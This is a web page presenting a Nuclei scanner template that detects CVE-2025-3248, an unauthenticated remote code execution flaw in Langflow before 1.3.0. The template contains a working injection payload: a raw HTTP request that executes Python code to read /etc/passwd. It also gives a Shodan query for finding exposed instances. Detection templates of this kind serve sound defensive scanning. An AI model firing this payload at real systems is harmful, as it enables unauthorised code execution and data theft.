Skip to content

Langflow AI - Unauthenticated Remote Code Execution

ID: CVE-2025-3248

Severity: critical

Author: nvn1729

Tags: cve,cve2025,python,rce,injection,langflow

Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint.A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.

id: CVE-2025-3248
info:
name: Langflow AI - Unauthenticated Remote Code Execution
author: nvn1729
severity: critical
description: |
Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint.A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.
reference:
- https://github.com/langflow-ai/langflow/pull/6911
- https://github.com/langflow-ai/langflow/releases/tag/1.3.0
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-3248
cwe-id: CWE-306
epss-score: 0.00049
epss-percentile: 0.12268
metadata:
verified: true
max-request: 1
shodan-query: html:"Langflow"
tags: cve,cve2025,python,rce,injection,langflow
http:
- raw:
- |
POST /api/v1/validate/code HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"code": "@exec('raise Exception(__import__(\"subprocess\").check_output([\"cat\", \"/etc/passwd\"]))')\ndef foo():\n pass"}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
# digest: 4b0a00483046022100f1c1bc88f8e0d10df9f8234598bfd1ade93c45380ae79c74bbd81d86e561a639022100c2fe6ecad14eeb60d2dfe2bf224c8e0920168b60bfbc15d60c6680418489ae88:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2025/CVE-2025-3248.yaml"

View on Github